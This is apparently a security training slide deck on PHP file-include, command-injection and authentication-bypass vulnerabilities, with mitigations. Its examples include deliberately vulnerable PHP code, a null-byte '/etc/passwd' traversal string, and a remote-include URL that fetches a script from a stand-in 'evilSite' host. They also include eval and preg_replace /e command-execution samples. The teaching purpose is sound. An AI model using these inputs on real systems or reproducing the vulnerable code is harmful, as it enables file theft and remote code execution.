PHP Vulnerability Potpourri File Include, Command Injection & Authentication Bypass Vulnerabilities ©Copyright Justin C. Klein Keane File Include Vulnerabilities Arbitrary file includes (reading) Local file includes Remote file includes Directory traversal Writing arbitrary files ©Copyright Justin C. Klein Keane Basic PHP File Includes Four common functions include() include_once() require() require_once() Difference is that require will die (with fatal E_ERROR) if the specified file is not found Include() will produce an E_WARNING _once functions will not re-include the file if it has already been called ©Copyright Justin C. Klein Keane How Includes Work When PHP includes a file it will parse any PHP code within that file Anything not delimited with the PHP delimiters (“<?php” and “?>”) will be treated as plain text Plain text will simply be rendered inline ©Copyright Justin C. Klein Keane Typical Include <?php include_once('header.php'); include_once($_GET['action'] . '.php'); include_once('footer.php'); ?> ©Copyright Justin C. Klein Keane Problems with Includes Arbitrary local file includes triggered via malicious user input: <?php include_once('inc/'.$_GET['action']); ?> If user supplies “../../../../../../../etc/passwd” as the 'action' URL variable that file will be rendered during page display! ©Copyright Justin C. Klein Keane Incorrect Projection Schemes Some programmers will append a file extension to attempt to limit includes like /etc/passwd <?php include('inc/'.$_GET['action'].'.php'); ?> This fails for several reasons, one is because PHP is written in C ©Copyright Justin C. Klein Keane Caveats of C C doesn't have a string type Instead strings are null terminated character arrays: char foo[3]; int main() { foo[0] = 'B'; foo[1] = 'A'; foo[2] = 'R'; foo[3] = '\0'; } Without the null at the end the “string” would have no end C reads from the start of the string until it reaches the null character when printing strings ©Copyright Justin C. Klein Keane Tricking PHP with C Conventions Using a null character triggers C constructs and defeats the prior example If user passes in: action=../../../../../../etc/passwd%00 then PHP executes: include('inc/../.././../../etc/passwd'); Because PHP terminates the string at the null bit (and ignores the appended '.php') Most PHP programmers are unaware of this! ©Copyright Justin C. Klein Keane Other Include Strategies There are other ways around extension protections <?php include('inc/'.$_GET['action'].'.php'); ?> Attacker can provide the GET var: ?action=/path/to/other/php_file.php? renders the final “.php” as a GET var to the included php_file.php ©Copyright Justin C. Klein Keane Other Dangers of Includes Often times include files are meant to be included, not directly referenced Include files live on the filesystem May contain vulnerabilities when called directly as variables could be redefined or arbitrarily defined Especially dangerous when register_globals is on! ©Copyright Justin C. Klein Keane Example Main file: <?php $style_dir='images/'; include_once('header.php'); [...] Include file: <html> <head> <title>Foo Site</title> <style type=”text/css”> @import url(“<?php echo $style_dir;?>style.css”); </head> <body> What happens when an attacker calls: http://sitename.tld/header.php?style_dir=http://myEvilSite.tld/css/ ©Copyright Justin C. Klein Keane Remote File Include Rather than specifying a local resource, an attacker could specify a remote file for inclusion Remote files must be served as plain text, rather than compiled PHP Remote text is pulled for inclusion then the local PHP compiler interprets the text, rendering the PHP locally ©Copyright Justin C. Klein Keane Remote File Include Requirements /etc/php.ini has parameters that define the ability of PHP to include files: ;;;;;;;;;;;;;;;;;; ; Fopen wrappers ; ;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files. allow_url_fopen = On ©Copyright Justin C. Klein Keane If allow_url_fopen is On Attackers can include remote files: <?php include_once($_GET['action'] . '.php'); ?> Attacker can call ?action=http://evilSite.tld/evil_script.txt? ©Copyright Justin C. Klein Keane Other Include Strategies Attackers can use includes to bypass direct access restrictions such as .htaccess This could be used to expose files like config.ini files Attackers can include Apache files like .htpasswd or .htaccess files which are included as plain text, exposing their contents Attackers can subvert program flow by calling files that are normally not included Attackers can call files readable by Apache, such as files in /tmp which may contain sensitive data (like session cookies or malicious uploads) ©Copyright Justin C. Klein Keane Writing Files PHP functionality used to write files include: File upload functions built into an application (such as image uploads) Utilizing PHP filesystem commands such as fwrite() ©Copyright Justin C. Klein Keane Typical Image Upload Handler $upload_dir = "files/"; $filename = basename($_FILES['form_filename']['name']); $target = $upload_dir . $filename; if(move_uploaded_file($_FILES['form_filename']['tmp_name'], $target)) { echo $filename . " has been uploaded"; } else{ echo "Error uploading file!"; } ©Copyright Justin C. Klein Keane Common Upload Errors Collisions cause overwrites File type is not checked File type is checked inappropriately Programmer may assume only image files are being uploaded, but this isn't enforced Simply checking $_FILES['upload_file']['type'] is insufficient since this is a browser provided parameter Double extensions (and programmer only check the first one) ©Copyright Justin C. Klein Keane Exploits for File Uploads Attacker uploads a PHP file which contains a backdoor or exposes other system files Attacker uploads a .htaccess file overwriting Apache rules Attacker overwrites existing files to insert a backdoor ©Copyright Justin C. Klein Keane Fwrite() The fwrite() function is a built in function that allows Apache to write to file handles Often used in installers to write config files Also commonly used for logging For more information see: http://us3.php.net/manual/en/function.fwrite.php ©Copyright Justin C. Klein Keane What is Command Injection Also known as arbitrary code execution Attacker injects malicious input that is then passed to functions that execute shell commands based on the input Typical Example <?php if (isset($_GET['file']) { system('rm ' . $_GET['file'] '.php'); } ?> Developer hopes to delete a specific PHP file, but the intent of the command is easily bypassed Injection Strategies Shell commands are delimited by a semi-colon, so multiple commands can be chained together The pound or hash (#) symbol denotes the beginning of a comment on the shell, any text following it will be ignored Strategies similar to SQL injection can be utilized Functions to Watch Luckily, the list of commands which execute via a shell is somewhat limited: system() exec() Executes the command and returns output Executes command, can populate PHP variables with output and return values passthru() Executes command but only returns return status Other Dangerous Functions There are other, less common functions to watch out for Backtick operators $retval = `ls -lh *.php`; shell_exec() Same as backtick Pipe Operations PHP has commands that can open a pipe to a process, so input and output can be directed to the process popen() and pclose() $proc = popen(“/bin/ls”, “r”); proc_open() Offers more command control Command Sanitization PHP has two commands that can be used to scrub input before passing it to a command escapeshellarg() escapeshellcmd() Adds quotes around string and escapes any internal quotes Escapes all special characters that could be used to interrupt or override execution flow Note that you should still strive to sanitize to “known good” commands Other Nefarious Outliers preg_replace with the /e flag allows for command execution <?php print preg_replace('/(.*)/e', 'strtoupper("\\1")', '{${phpinfo()}}'); ?> This is certainly not the first place you would look to find command execution! Executing PHP Commands Using the eval() command Because of PHP's dynamic nature, variables can actually be interpreted as commands: <?php $x = “echo exec('cat /etc/passwd');”; eval($x); ?> Mitigation PHP's php.ini contains a rarely used directive: ; This directive allows you to disable certain functions for security reasons. ; It receives a comma-delimited list of function names. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off. disable_functions = exec, system, passthru, eval Won't completely cut off avenues of attack but can limit the programmers power to introduce vulnerabilities No way to limit backticks via php.ini Auth Bypass Authentication bypass is a vulnerability that allows an attacker to gain access to functionality without providing valid credentials Attackers may seek to steal an authenticated users session May also be possible to initiate a privileged session without credentials Some functionality may not need a session ©Copyright Justin C. Klein Keane Session Handling PHP controls “session” data via a PHPSESSID cookie by default (defined in php.ini) ©Copyright Justin C. Klein Keane Session Cookies Difficult to predict/guess However, stored on the filesystem Location determined by settings in /etc/php.ini session.save_path = "/var/lib/php/session" ; Whether to use cookies. session.use_cookies = 1 ; This option enables administrators to make their users invulnerable to ; attacks which involve passing session ids in URLs; defaults to 0. ; session.use_only_cookies = 1 ; Name of the session (used as cookie name). session.name = PHPSESSID ; Initialize session on request startup. session.auto_start = 0 ; Lifetime in seconds of cookie or, if 0, until browser is restarted. session.cookie_lifetime = 0 ; The path for which the cookie is valid. session.cookie_path = / ; The domain for which the cookie is valid. session.cookie_domain = ©Copyright Justin C. Klein Keane Permissions on Session Dir # ls -lah /var/lib/php total 156K drwxr-xr-x 3 root root 4.0K Jun 2 12:13 . drwxr-xr-x 21 root root 4.0K Jun 2 12:42 .. drwxrwx--- 2 root apache 132K Jun 22 14:37 session Note that apache can read and write in this directory ©Copyright Justin C. Klein Keane phpinfo() Disclosure ©Copyright Justin C. Klein Keane Data Can be Leaked If attacker can leverage webapp to list the cookie directory they can modify their own cookies Cookie isn't tied to an IP, so cookie holder automatically gains session access Cookie can also be stolen from the end user JavaScript can access cookies with domain restrictions ©Copyright Justin C. Klein Keane Logical Flaws Application fails to check credentials properly Name collisions for instance These will not be programming errors so are much more difficult to detect ©Copyright Justin C. Klein Keane Limited Authentication Application may only check for authentication in one place Some files may assume that authentication has taken place but may be accessible outside of that flow ©Copyright Justin C. Klein Keane Brute Force Steps should be taken to limit authentication attempts At the very least log auth attempts and alert someone on multiple failures Be sure to limit login failure feedback (don't alert an attacker to whether or not a username or password exists) Be wary of password recovery functionality and information it might disclose to an attacker ©Copyright Justin C. Klein Keane Logout Failure Applications that don't properly end sessions could leave them open for exploitation Kiosks or other public terminals are prime offenders in these circumstances ©Copyright Justin C. Klein Keane Unencrypted Authentication Cookies and/or post data may be stolen Forms themselves should be encrypted, not just their post targets MITM plain text keystroke loggers could be utilized on unencrypted login forms ©Copyright Justin C. Klein Keane Information Disclosure There are many seemingly innocuous ways that information valuable to an attacker can be disclosed Debugging messages phpinfo() output can reveal configuration informaiton Plain text files such as .ini or .htaccess or .htpasswd files could be exposed Directory listing could show files that would otherwise be difficult to find HTML comments ©Copyright Justin C. Klein Keane Exposed Information Assume any web accessible file can be read by an attacker Tools for brute force guessing filenames and directories exist Look at include files to make sure they can't be abused by being called directly ©Copyright Justin C. Klein Keane